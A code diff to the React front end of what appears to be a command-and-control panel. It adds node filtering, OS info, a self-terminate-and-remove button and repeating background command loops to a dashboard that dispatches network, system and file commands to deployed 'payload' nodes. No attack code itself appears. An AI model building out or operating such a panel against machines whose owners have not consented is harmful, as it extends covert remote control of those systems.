Update src/App.tsx

src/App.tsx

@@ -129,6 +129,7 @@ function Card({ title, children, icon }: { title: string, children: React.ReactN
 
 function DashboardTab() {
   const [data, setData] = useState({ nodes: [], reports: [] });
+  const [filter, setFilter] = useState('all');
 
   useEffect(() => {
     const fetchStatus = async () => {
@@ -145,12 +146,29 @@ function DashboardTab() {
     return () => clearInterval(iv);
   }, []);
 
+  const removeNode = async (id: string) => {
+    await fetch('/api/commands', {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({ target: id, type: 'self_terminate', payload: {}, repeat: false })
+    });
+    await fetch(`/api/nodes/${id}`, { method: 'DELETE' });
+    setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
+  };
+
+  const filteredNodes = data.nodes.filter((n: any) => {
+    const isActive = Date.now() - n.lastSeen < 20000;
+    if (filter === 'active') return isActive;
+    if (filter === 'inactive') return !isActive;
+    return true;
+  });
+
   return (
     <div className="flex flex-col gap-6">
       <div className="grid grid-cols-1 md:grid-cols-3 gap-4">
         <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50">
           <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span>
-          <span className="text-3xl font-bold text-white font-mono">{data.nodes.length}</span>
+          <span className="text-3xl font-bold text-white font-mono">{data.nodes.filter((n: any) => Date.now() - n.lastSeen < 20000).length}</span>
         </div>
         <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50">
           <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span>
@@ -166,10 +184,21 @@ function DashboardTab() {
       </div>
 
       <Card title="Connected Nodes" icon={<Server size={18} />}>
-        {data.nodes.length === 0 ? (
+        <div className="flex gap-4 mb-4 items-center px-2">
+          <label className="text-sm font-medium text-slate-400">Filter:</label>
+          <select 
+            className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500"
+            value={filter} onChange={e => setFilter(e.target.value)}
+          >
+            <option value="all">All Nodes</option>
+            <option value="active">Active ({'<'} 20s skip)</option>
+            <option value="inactive">Inactive</option>
+          </select>
+        </div>
+        {filteredNodes.length === 0 ? (
           <div className="text-center py-10 text-slate-400">
             <Server className="w-10 h-10 mx-auto mb-3 opacity-20" />
-            <p>No active nodes connected.</p>
+            <p>No nodes found for this filter.</p>
             <p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p>
           </div>
         ) : (
@@ -180,12 +209,16 @@ function DashboardTab() {
                   <th className="font-medium px-2">Node ID</th>
                   <th className="font-medium">Environment</th>
                   <th className="font-medium">IP Addr</th>
+                  <th className="font-medium">OS Info</th>
                   <th className="font-medium">Last Ping</th>
                   <th className="font-medium">Status</th>
+                  <th className="font-medium text-right pr-2">Action</th>
                 </tr>
               </thead>
               <tbody className="divide-y divide-white/5 text-slate-300">
-                {data.nodes.map((node: any) => (
+                {filteredNodes.map((node: any) => {
+                  const isActive = Date.now() - node.lastSeen < 20000;
+                  return (
                   <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
                     <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
                     <td className="py-3">
@@ -194,16 +227,25 @@ function DashboardTab() {
                       </span>
                     </td>
                     <td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td>
+                    <td className="py-3 text-slate-400 text-xs max-w-[120px] truncate" title={node.systemInfo?.os || ''}>
+                      {node.systemInfo?.os || node.systemInfo?.release || '-'}
+                    </td>
                     <td className="py-3 text-slate-400">
                       {Math.round((Date.now() - node.lastSeen) / 1000)}s ago
                     </td>
                     <td className="py-3">
-                      <div className="flex items-center gap-1.5 text-emerald-400">
-                        <div className="w-1.5 h-1.5 rounded-full bg-emerald-500 shadow-md shadow-emerald-500/50"></div> Online
+                      <div className={`flex items-center gap-1.5 ${isActive ? 'text-emerald-400' : 'text-slate-400'}`}>
+                        <div className={`w-1.5 h-1.5 rounded-full shadow-md ${isActive ? 'bg-emerald-500 shadow-emerald-500/50' : 'bg-slate-500'}`}></div> {isActive ? 'Online' : 'Offline'}
                       </div>
                     </td>
+                    <td className="py-3 text-right pr-2">
+                       <button onClick={() => removeNode(node.id)} className="text-xs text-red-400 border border-red-500/30 px-2 py-1 rounded bg-red-400/10 hover:bg-red-400/20 transition-colors">
+                         Remove
+                       </button>
+                    </td>
                   </tr>
-                ))}
+                  );
+                })}
               </tbody>
             </table>
           </div>
@@ -529,6 +571,8 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
   const [status, setStatus] = useState('');
   const [nodes, setNodes] = useState<any[]>([]);
   const [reports, setReports] = useState<any[]>([]);
+  const [activeCommands, setActiveCommands] = useState<any[]>([]);
+  const [repeat, setRepeat] = useState(false);
 
   useEffect(() => {
     const fetchStatus = async () => {
@@ -538,6 +582,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
         setNodes(json.nodes || []);
         // Get just the reports that are commands
         setReports((json.reports || []).slice(0, 15));
+        setActiveCommands(json.activeCommands || []);
       } catch (err) {}
     };
     fetchStatus();
@@ -574,7 +619,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
       await fetch('/api/commands', {
         method: 'POST',
         headers: { 'Content-Type': 'application/json' },
-        body: JSON.stringify({ target: targetNode, type: command, payload })
+        body: JSON.stringify({ target: targetNode, type: command, payload, repeat })
       });
       setStatus(`Dispatched '${command}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
       setTimeout(() => setStatus(''), 3000);
@@ -583,6 +628,11 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
     }
   };
 
+  const stopLoop = async (id: string) => {
+    await fetch(`/api/commands/${id}`, { method: 'DELETE' });
+    setActiveCommands(prev => prev.filter(c => c.id !== id));
+  };
+
   return (
     <div className="flex flex-col gap-6">
       <div className="mb-2">
@@ -778,39 +828,67 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
               </div>
             )}
 
+            <div className="flex items-center gap-2 mt-2 px-1">
+              <input type="checkbox" id="repeatMode" checked={repeat} onChange={e => setRepeat(e.target.checked)} className="rounded bg-black/20 border-white/10 text-indigo-500 focus:ring-indigo-500" />
+              <label htmlFor="repeatMode" className="text-sm text-slate-300 cursor-pointer">Repeat continuously (node will execute on every ping)</label>
+            </div>
+
             <button 
               onClick={issueCommand}
-              className="mt-2 px-6 py-3 bg-red-500 hover:bg-red-400 text-white rounded-xl font-medium shadow-lg shadow-red-500/30 transition-all flex items-center justify-center gap-2"
+              className={`mt-2 px-6 py-3 ${repeat ? 'bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30' : 'bg-red-500 hover:bg-red-400 shadow-red-500/30'} text-white rounded-xl font-medium shadow-lg transition-all flex items-center justify-center gap-2`}
             >
-              <Terminal size={18} /> Execute Operation
+              <Terminal size={18} /> {repeat ? 'Start Background Loop' : 'Execute Operation'}
             </button>
             {status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>}
           </div>
         </Card>
 
-        <Card title="Latest Execution Reports" icon={<Activity size={18} />}>
-          {reports.length === 0 ? (
-            <div className="text-center py-10 text-slate-400 text-sm">
-              <Activity className="w-8 h-8 mx-auto mb-2 opacity-20" />
-              Waiting for node reports...
-            </div>
-          ) : (
-            <div className="flex flex-col gap-3 max-h-[500px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
-              {reports.map((report, idx) => (
-                <div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm">
-                  <div className="flex justify-between items-start mb-1.5">
-                    <span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span>
-                    <span className="text-slate-500 text-xs">
-                      {new Date(report.timestamp).toLocaleTimeString()}
-                    </span>
+        <div className="flex flex-col gap-6">
+          <Card title="Latest Execution Reports" icon={<Activity size={18} />}>
+            {reports.length === 0 ? (
+              <div className="text-center py-10 text-slate-400 text-sm">
+                <Activity className="w-8 h-8 mx-auto mb-2 opacity-20" />
+                Waiting for node reports...
+              </div>
+            ) : (
+              <div className="flex flex-col gap-3 max-h-[350px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
+                {reports.map((report, idx) => (
+                  <div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm">
+                    <div className="flex justify-between items-start mb-1.5">
+                      <span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span>
+                      <span className="text-slate-500 text-xs">
+                        {new Date(report.timestamp).toLocaleTimeString()}
+                      </span>
+                    </div>
+                    <div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
+                    <ReportResultViewer report={report} />
                   </div>
-                  <div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
-                  <ReportResultViewer report={report} />
-                </div>
-              ))}
-            </div>
+                ))}
+              </div>
+            )}
+          </Card>
+
+          {activeCommands.length > 0 && (
+            <Card title="Active Command Loops" icon={<Activity size={18} />}>
+              <div className="flex flex-col gap-3 max-h-[250px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
+                {activeCommands.map(cmd => (
+                  <div key={cmd.id} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm flex items-center justify-between">
+                    <div>
+                      <div className="text-white font-medium text-sm flex items-center gap-2">
+                        <div className="w-2 h-2 rounded-full bg-indigo-500 animate-pulse"></div>
+                        {cmd.type}
+                      </div>
+                      <div className="text-slate-400 text-xs mt-1">Target: <span className="font-mono">{cmd.target}</span></div>
+                    </div>
+                    <button onClick={() => stopLoop(cmd.id)} className="text-xs text-red-400 border border-red-500/30 px-3 py-1.5 rounded-lg bg-red-400/10 hover:bg-red-400/20 transition-colors">
+                      Stop Loop
+                    </button>
+                  </div>
+                ))}
+              </div>
+            </Card>
           )}
-        </Card>
+        </div>
       </div>
     </div>
   );